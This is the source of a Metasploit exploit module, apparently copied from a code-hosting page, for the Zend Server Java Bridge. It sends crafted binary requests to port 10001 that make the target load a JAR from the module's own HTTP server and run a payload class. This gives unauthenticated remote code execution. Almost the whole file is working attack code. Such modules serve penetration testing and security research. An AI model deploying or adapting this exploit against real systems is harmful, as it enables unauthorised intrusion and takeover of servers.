metasploit-framework/modules/exploits/multi/misc/zend_java_bridge.rb

111 lines
3.3 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
2013-08-30 21:28:54 +00:00
Rank = GreatRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Zend Server Java Bridge Arbitrary Java Code Execution',
'Description' => %q{
This module takes advantage of a trust relationship issue within the
Zend Server Java Bridge. The Java Bridge is responsible for handling interactions
between PHP and Java code within Zend Server.
When Java code is encountered Zend Server communicates with the Java Bridge. The
Java Bridge then handles the java code and creates the objects within the Java Virtual
Machine. This interaction however, does not require any sort of authentication. This
leaves the JVM wide open to remote attackers. Sending specially crafted data to the
Java Bridge results in the execution of arbitrary java code.
},
'Author' => [ 'bannedit' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '71420'],
[ 'ZDI', '11-113'],
2013-08-30 21:28:54 +00:00
[ 'EDB', '17078' ],
],
'Platform' => ['java'], # win
'Arch' => ARCH_JAVA,
'Privileged' => true,
'Targets' =>
[
[ 'Linux', {}],
[ 'Windows', {}],
],
'DisclosureDate' => 'Mar 28 2011',
'DefaultTarget' => 0))
register_options( [ Opt::RPORT(10001) ], self.class)
end
def exploit
start_service()
send_java_require
end
def send_java_require()
connect
jar = rand_text_alpha(rand(8)+1) + '.jar'
path = get_uri + '/' + jar
uri_len = path.length
java_require = [0xffffffff, 0x16000000].pack('V*') +
"setAdditionalClassPath" + [0x01000000, 0x00000004].pack('V*') +
[uri_len].pack('C') + path
java_require = [java_require.length].pack('N') + java_require
print_status("Sending java_require() request... #{path}")
sock.put(java_require)
res = sock.get_once
select(nil, nil, nil, 5) # wait for the request to be handled
create_and_exec
end
def create_and_exec
print_status("Sending Final Java Bridge Requests")
create_obj =
[0x34000000, 0x00000000, 0x0c000000].pack('V*') +
"CreateObject" +
[0x02000000, 0x00000004].pack('V*') + [0x12].pack('C') +
"metasploit.Payload" +
[0x07000000].pack('N') + [0x00].pack('C')
sock.put(create_obj)
res = sock.get_once
obj_id = res[5,4]
callmain =
[0x1f000000].pack('V') + obj_id + [0x04000000].pack('V') + "main" +
[0x01000000, 0x00000008, 0x00000201, 0x00040000].pack('V*') + [0x00].pack('C') +
[0x00].pack('C') + [0x00].pack('C')
sock.put(callmain)
sock.get_once
handler()
end
def on_request_uri(cli, request)
if request.uri =~ /\.jar$/i
send_response(cli, payload.encoded,
{
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
print_status("Replied to Request for Payload JAR")
end
end
end